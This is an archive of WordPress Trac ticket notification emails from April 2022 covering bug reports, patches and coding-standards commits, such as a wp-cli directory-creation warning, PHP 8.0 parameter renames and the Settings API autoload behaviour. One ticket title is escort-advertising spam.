<https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 16 09:09:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 16 Apr 2022 09:09:02 -0000 Subject: [wp-trac] [WordPress Trac] #55582: Famous and hot call girl in Udaipur Escorts In-Reply-To: <055.fdb15ed3b753c46ef79cfe0936893a88@wordpress.org> References: <055.fdb15ed3b753c46ef79cfe0936893a88@wordpress.org> Message-ID: <055.fdb15ed3b753c46ef79cfe0936893a88@wordpress.org> #55582: Famous and hot call girl in Udaipur Escorts --------------------------+------------------------------ Reporter: anishapawar | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Changes (by anishapawar): * Attachment "images (23).jpg" removed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55582> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 16 10:29:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 16 Apr 2022 10:29:47 -0000 Subject: [wp-trac] [WordPress Trac] #55582: cURL error 77 (no https to wordpress.org) Message-ID: <056.e5898d7701306718a9f138f21aed38aa@wordpress.org> #55582: cURL error 77 (no https to wordpress.org) --------------------------+----------------------------- Reporter: pferderausch | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Plugins | Version: 5.9.3 Severity: critical | Keywords: Focuses: ui | --------------------------+----------------------------- In order to install or update a plugin, appropriate functions are called in the backend. They end up with the error mentioned above. WordPress 5.9.3 is installed. The updates and installations work in the CLI. In den Einstellungen ist alles auf https umgestellt. Warning: Ein unerwarteter Fehler ist aufgetreten. Es scheint etwas bei WordPress.org oder mit dieser Serverkonfiguration nicht zu stimmen. Sollte das Problem weiter bestehen, nutze bitte die Support-Foren. (WordPress konnte keine sichere Verbindung zu WordPress.org herstellen. Bitte kontaktiere deinen Server-Administrator.) in ...../public_html/wp-includes/update.php on line 413 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55582> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 16 14:26:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 16 Apr 2022 14:26:29 -0000 Subject: [wp-trac] [WordPress Trac] #55459: Change Login Label name In-Reply-To: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> References: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> Message-ID: <067.eb9317386bd0e7028869017f21da0333@wordpress.org> #55459: Change Login Label name ------------------------------------+------------------------------ Reporter: wparslan | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------------+------------------------------ Comment (by sabernhardt): If you use the `wp_login_form()` function, it already has a single `login_form_defaults` filter to change each of those labels. Perhaps this filter could be added inside wp-login.php, too. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55459#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 03:40:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 03:40:42 -0000 Subject: [wp-trac] [WordPress Trac] #55194: wp_rand( 0, 0) result in random integer In-Reply-To: <049.29cbd74be56c2fa6511a91b167637888@wordpress.org> References: <049.29cbd74be56c2fa6511a91b167637888@wordpress.org> Message-ID: <064.996ed1bdbacb3b3d0532b4dd4810c58c@wordpress.org> #55194: wp_rand( 0, 0) result in random integer --------------------------+--------------------- Reporter: mlajo | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch | Focuses: docs --------------------------+--------------------- Comment (by acoulombe): Replying to [comment:9 SergeyBiryukov]: > On second thought, maybe we could still fix it, see [attachment:55194.diff]. This would need a unit test and security review. I'm working on writing tests based on your fix. For my knowledge, i'm relatively new to contributing WordPress. How do you normally work, can I make a pull request according to your .diff or do you want to make one yourself ? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55194#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 04:41:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 04:41:43 -0000 Subject: [wp-trac] [WordPress Trac] #55194: wp_rand( 0, 0) result in random integer In-Reply-To: <049.29cbd74be56c2fa6511a91b167637888@wordpress.org> References: <049.29cbd74be56c2fa6511a91b167637888@wordpress.org> Message-ID: <064.ecc01b5b89880564cbc0f59da616378e@wordpress.org> #55194: wp_rand( 0, 0) result in random integer --------------------------+--------------------- Reporter: mlajo | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch | Focuses: docs --------------------------+--------------------- Changes (by acoulombe): * Attachment "55194.2.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55194> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 10:49:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 10:49:26 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.7debb123f981a3a8f07fd643f6f58133@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53192" 53192]: {{{ #!CommitTicketReference repository="" revision="53192" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/media.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$return` parameter to `$return_type` in `media_sideload_image()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 14:09:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 14:09:09 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.82fa0b9c6f0c69d948a525e62bba42e9@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53193" 53193]: {{{ #!CommitTicketReference repository="" revision="53193" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/menu.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit: * Renames the `$class` parameter to `$classes` in `add_cssclass()`. * Renames the `$add` parameter to `$class_to_add` for clarity. * Includes minor code layout changes for better readability. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 14:28:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 14:28:38 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.c10379fba49e4b7678a574f2ec36530f@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53194" 53194]: {{{ #!CommitTicketReference repository="" revision="53194" Docs: Add missing documentation for `add_cssclass()` and `add_menu_classes()`. Follow-up to [9578], [53193]. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:70> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 14:39:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 14:39:31 -0000 Subject: [wp-trac] [WordPress Trac] #54728: Coding Standards fixes for WP 6.0 In-Reply-To: <058.7a155b0f785c70523f1d802c18e37284@wordpress.org> References: <058.7a155b0f785c70523f1d802c18e37284@wordpress.org> Message-ID: <073.ecac3894e81fb14e92efb52d85a8e7ef@wordpress.org> #54728: Coding Standards fixes for WP 6.0 ----------------------------+------------------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: coding-standards ----------------------------+------------------------------- Comment (by SergeyBiryukov): In [changeset:"53195" 53195]: {{{ #!CommitTicketReference repository="" revision="53195" Coding Standards: Use more descriptive variable names in `add_menu_classes()`. Follow-up to [9578], [53193], [53194]. See #54728. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54728#comment:55> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 14:42:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 14:42:49 -0000 Subject: [wp-trac] [WordPress Trac] #54728: Coding Standards fixes for WP 6.0 In-Reply-To: <058.7a155b0f785c70523f1d802c18e37284@wordpress.org> References: <058.7a155b0f785c70523f1d802c18e37284@wordpress.org> Message-ID: <073.dffaa6e7abcd0582cbbd158cca93726f@wordpress.org> #54728: Coding Standards fixes for WP 6.0 ----------------------------+------------------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: coding-standards ----------------------------+------------------------------- Comment (by SergeyBiryukov): In [changeset:"53196" 53196]: {{{ #!CommitTicketReference repository="" revision="53196" Coding Standards: Correct the `$items_count` variable in `add_menu_classes()`. Follow-up to [53195]. See #54728. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54728#comment:56> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 15:05:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 15:05:25 -0000 Subject: [wp-trac] [WordPress Trac] #54728: Coding Standards fixes for WP 6.0 In-Reply-To: <058.7a155b0f785c70523f1d802c18e37284@wordpress.org> References: <058.7a155b0f785c70523f1d802c18e37284@wordpress.org> Message-ID: <073.5def5f5395b75a79f4cc4aa31eb05b4b@wordpress.org> #54728: Coding Standards fixes for WP 6.0 ----------------------------+------------------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: coding-standards ----------------------------+------------------------------- Comment (by SergeyBiryukov): In [changeset:"53197" 53197]: {{{ #!CommitTicketReference repository="" revision="53197" Coding Standards: Correct alignment in various files. This fixes an `Array double arrow not aligned correctly` WPCS warning. Follow-up to [53075], [53084], [53091], [53094], [53155], [53129]. See #54728. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54728#comment:57> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 15:35:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 15:35:49 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.ced2550788c2a5bf2be8dc45a9e47fcb@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53198" 53198]: {{{ #!CommitTicketReference repository="" revision="53198" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/meta-boxes.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit: * Renames the `$class` parameter to `$xfn_relationship` in `xfn_check()`. * Renames the `$value` parameter to `$xfn_value` for clarity. * Includes minor code layout changes for better readability. Reference: [http://gmpg.org/xfn/join XFN: Getting Started]. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:27> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 17:10:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 17:10:57 -0000 Subject: [wp-trac] [WordPress Trac] #35357: Introduce did_filter() In-Reply-To: <051.88bad4459b3848d3672f1be124ec675f@wordpress.org> References: <051.88bad4459b3848d3672f1be124ec675f@wordpress.org> Message-ID: <066.0aa6b93625a3061dbd9fb3d2428381f7@wordpress.org> #35357: Introduce did_filter() -------------------------------------------------+------------------------- Reporter: mordauk | Owner: chriscct7 Type: enhancement | Status: accepted Priority: normal | Milestone: Component: Plugins | Version: 2.1 Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh | -------------------------------------------------+------------------------- Comment (by VibeThemes): Will this be added to the core ? -- Ticket URL: <https://core.trac.wordpress.org/ticket/35357#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 17:24:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 17:24:41 -0000 Subject: [wp-trac] [WordPress Trac] #54728: Coding Standards fixes for WP 6.0 In-Reply-To: <058.7a155b0f785c70523f1d802c18e37284@wordpress.org> References: <058.7a155b0f785c70523f1d802c18e37284@wordpress.org> Message-ID: <073.9fcced4a20772eee2a94cdda13d007c7@wordpress.org> #54728: Coding Standards fixes for WP 6.0 ----------------------------+------------------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: coding-standards ----------------------------+------------------------------- Comment (by SergeyBiryukov): In [changeset:"53199" 53199]: {{{ #!CommitTicketReference repository="" revision="53199" Coding Standards: Simplify long conditions in `xfn_check()`. Add some comments for clarity. Follow-up to [2051], [4990], [53198]. See #54728. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54728#comment:58> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 17:45:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 17:45:20 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.d1b6c658a8be6aa64410caeef2ac2e99@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53200" 53200]: {{{ #!CommitTicketReference repository="" revision="53200" Docs: Add missing descriptions for function parameters in `wp- admin/includes/meta-boxes.php`. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:71> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 17:55:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 17:55:20 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.8320127932e980795402a57959402695@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53201" 53201]: {{{ #!CommitTicketReference repository="" revision="53201" Docs: Use third-person singular verbs for function descriptions in `wp- admin/includes/meta-boxes.php`, per the documentation standards. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:72> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 18:30:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 18:30:50 -0000 Subject: [wp-trac] [WordPress Trac] #55583: Hook before and after "Add New" button in edit screen Message-ID: <051.c6cb19a0dbe451035b35b4653d4d4b31@wordpress.org> #55583: Hook before and after "Add New" button in edit screen -------------------------------+----------------------------- Reporter: rafiq91 | Owner: (none) Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: Posts, Post Types | Version: trunk Severity: normal | Keywords: has-patch Focuses: administration | -------------------------------+----------------------------- I need to add a new button after the "Add New" button but there is no hook placed. **Example Usages:** Add a button to manage bulk migration from other sources [[Image(https://prnt.sc/cR-GdDNnVe6Z)]] -- Ticket URL: <https://core.trac.wordpress.org/ticket/55583> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 18:32:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 18:32:14 -0000 Subject: [wp-trac] [WordPress Trac] #55583: Hook before and after "Add New" button in edit screen In-Reply-To: <051.c6cb19a0dbe451035b35b4653d4d4b31@wordpress.org> References: <051.c6cb19a0dbe451035b35b4653d4d4b31@wordpress.org> Message-ID: <066.ff7ab034591172846f68025e9030c7f7@wordpress.org> #55583: Hook before and after "Add New" button in edit screen -------------------------------+------------------------------ Reporter: rafiq91 | Owner: (none) Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: Posts, Post Types | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: administration -------------------------------+------------------------------ Changes (by rafiq91): * Attachment "55583.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55583> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 18:48:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 18:48:40 -0000 Subject: [wp-trac] [WordPress Trac] #55578: tests for wp_nonce_field() and wp_referer_field() In-Reply-To: <051.e3dd86a89ddd0a6c301b94c8f474b984@wordpress.org> References: <051.e3dd86a89ddd0a6c301b94c8f474b984@wordpress.org> Message-ID: <066.76bf305f2b8164dd584b85eff4627341@wordpress.org> #55578: tests for wp_nonce_field() and wp_referer_field() --------------------------------------+--------------------- Reporter: pbearne | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Changes (by costdev): * type: defect (bug) => task (blessed) * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55578#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 19:20:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 19:20:46 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2355117=3A_Possible_5?= =?utf-8?b?LjkgQnVnOiBVbmtub3duIGNoYXJhY3RlciAo77+8IG9yICVlZiViZiViYyAp?= =?utf-8?q?_on_content_title?= In-Reply-To: <053.b81fc379153db7c724cf676bc0bbe3b4@wordpress.org> References: <053.b81fc379153db7c724cf676bc0bbe3b4@wordpress.org> Message-ID: <068.8ca73b68bc979f802246e18126eaf9fd@wordpress.org> #55117: Possible 5.9 Bug: Unknown character ( or %ef%bf%bc ) on content title --------------------------+----------------------- Reporter: cantuaria | Owner: audrasjb Type: defect (bug) | Status: assigned Priority: normal | Milestone: 5.9.4 Component: Permalinks | Version: 5.9 Severity: normal | Resolution: Keywords: | Focuses: --------------------------+----------------------- Comment (by BaneD): Hi I wanted to add that we have noticed through Google Console that all of a sudden some links have a bit different URL. For example one of the links now has the following appended to it: "/%EF%BF%BC%EF%BF%BC%EF%BF%BCKind" This in turn makes the page show 404 error. The blog post was created in 2013 and the problem started to happen recently. The post is OK for something posted so long ago, however it is not something that we have linked to any time recently. It seems to be created somewhere within WP in for us unknown place. I am guessing that most likely in some archive. Website is in en-US language only. * In our process we do copy->paste as we write outside of WordPress, however it is unformatted paste (CTRL+SHIFT+V) every time. Additionally if I copy->paste this: into our editor it is clearly shown and would be obvious that it was copied. I would recommend stripping it from permalink functions, however that would be just fixing the symptom, would be best to find what is adding it. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55117#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 21:21:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 21:21:51 -0000 Subject: [wp-trac] [WordPress Trac] #55405: i18n: Use a placeholder instead of 'Template' in a message in WP_Theme::__construct() In-Reply-To: <058.95e80cfc4ea27e9f1dfb77507082860b@wordpress.org> References: <058.95e80cfc4ea27e9f1dfb77507082860b@wordpress.org> Message-ID: <073.7392676a4f49328ff65180b687c37ab3@wordpress.org> #55405: i18n: Use a placeholder instead of 'Template' in a message in WP_Theme::__construct() --------------------------------------+----------------------------- Reporter: SergeyBiryukov | Owner: SergeyBiryukov Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch | Focuses: --------------------------------------+----------------------------- Comment (by azouamauriac): Replying to [comment:5 SergeyBiryukov]: > Thanks for the refresh! It looks like [attachment:"55405.diff"] is still not quite correct, as it changes the first sentence instead of the one mentioned in comment:3. > > [attachment:"55405.2.diff"] is what I meant here :) Ooooh, sorry for the misunderstanding... I'll catch up next time. Thanks to handle this. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55405#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 22:00:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 22:00:02 -0000 Subject: [wp-trac] [WordPress Trac] #54477: wp-cli vague: "Warning: Could not create directory." In-Reply-To: <052.a28934f7fb8bd1877b06f8203559a20c@wordpress.org> References: <052.a28934f7fb8bd1877b06f8203559a20c@wordpress.org> Message-ID: <067.4d3ddbaa9e58f4bd425939be5f38ce2d@wordpress.org> #54477: wp-cli vague: "Warning: Could not create directory." ----------------------------------------+--------------------- Reporter: gunterer | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: 5.8 Severity: minor | Resolution: Keywords: needs-patch good-first-bug | Focuses: ----------------------------------------+--------------------- Changes (by rsiddharth): * Attachment "54477.v202204171752.patch" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54477> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 17 22:06:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 17 Apr 2022 22:06:20 -0000 Subject: [wp-trac] [WordPress Trac] #54477: wp-cli vague: "Warning: Could not create directory." In-Reply-To: <052.a28934f7fb8bd1877b06f8203559a20c@wordpress.org> References: <052.a28934f7fb8bd1877b06f8203559a20c@wordpress.org> Message-ID: <067.686979058ade24f016cb296070f88605@wordpress.org> #54477: wp-cli vague: "Warning: Could not create directory." --------------------------------------+--------------------- Reporter: gunterer | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: 5.8 Severity: minor | Resolution: Keywords: good-first-bug has-patch | Focuses: --------------------------------------+--------------------- Changes (by rsiddharth): * keywords: needs-patch good-first-bug => good-first-bug has-patch Comment: On `wp plugin install gutenberg`, `_unzip_file_ziparchive`, which gets indirectly called, has `$to` set to `/var/www/src/wp-content/upgrade/gutenberg.13.0.0-ox0GNI/`. And `$needed_dirs` just before the `mkdir` call looks like: {{{ Array ( [0] => /var/www/src/wp-content/upgrade/gutenberg.13.0.0-ox0GNI [1] => /var/www/src/wp- content/upgrade/gutenberg.13.0.0-ox0GNI/gutenberg [2] => /var/www/src/wp- content/upgrade/gutenberg.13.0.0-ox0GNI/gutenberg/build . . . ) }}} When `$_dir` is `/var/www/src/wp-content/upgrade/gutenberg.13.0.0-ox0GNI` (first item in `$needed_dirs`), `substr( $_dir, strlen( $to ) )` returns an empty string. So, I think that's the issue. So, if we try to pass full directory to `WP_Error` instead of the base directory, it should fix the issue. I've attached the initial version the patch. See if it looks good. wp plugin install without the patch: {{{ $ wp plugin install gutenberg Installing Gutenberg (13.0.0) Downloading installation package from https://downloads.wordpress.org/plugin/gutenberg.13.0.0.zip... The authenticity of gutenberg.13.0.0.zip could not be verified as no signature was found. Unpacking the package... Warning: Could not create directory. Warning: The 'gutenberg' plugin could not be found. Error: No plugins installed. }}} wp plugin install with the patch (54477.v202204171752.patch): {{{ $ /var/wp-cli/bin/wp plugin install gutenberg Installing Gutenberg (13.0.0) Downloading installation package from https://downloads.wordpress.org/plugin/gutenberg.13.0.0.zip... Using cached file '/home/wp_php/.wp- cli/cache/plugin/gutenberg-13.0.0.zip'... The authenticity of gutenberg.13.0.0.zip could not be verified as no signature was found. Unpacking the package... Warning: Could not create directory. "/var/www/src/wp- content/upgrade/gutenberg.13.0.0-ox0GNI" Warning: The 'gutenberg' plugin could not be found. Error: No plugins installed. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54477#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 04:25:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 04:25:59 -0000 Subject: [wp-trac] [WordPress Trac] #55459: Change Login Label name In-Reply-To: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> References: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> Message-ID: <067.c60f195ee8f72961776a5be3680aaa74@wordpress.org> #55459: Change Login Label name ------------------------------------+------------------------------ Reporter: wparslan | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------------+------------------------------ Comment (by wparslan): I am talking about the main login form which resides on /wp-login.php page. Yes, we can use the `login_form_defaults` filter to change each of those labels, it will only change the parameters of `wp_login_form()` this function, right? However, I need a list of parameters for this `/wp-login.php` page. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55459#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 04:56:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 04:56:49 -0000 Subject: [wp-trac] [WordPress Trac] #55584: Settings API autoload hook Message-ID: <051.9361e62298ed97a81111b162cc67810d@wordpress.org> #55584: Settings API autoload hook -------------------------+----------------------------- Reporter: hir88en | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | -------------------------+----------------------------- Currently all settings registered via Settings API is forced to enable autoload, There is no hook to replace this. Lets imagine just for example: 1. all wordpress plugins is using this to register their settings data. but not delete this value during uninstall. 2. Average wodpress admin install then uninstall 50 plugins in their lifetime. 3. Average autoloaded setting is 100kb per plugin there will be 5mb autoloaded options which not used anymore. that event is per pageload. Just imagine that. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55584> WordPress Trac 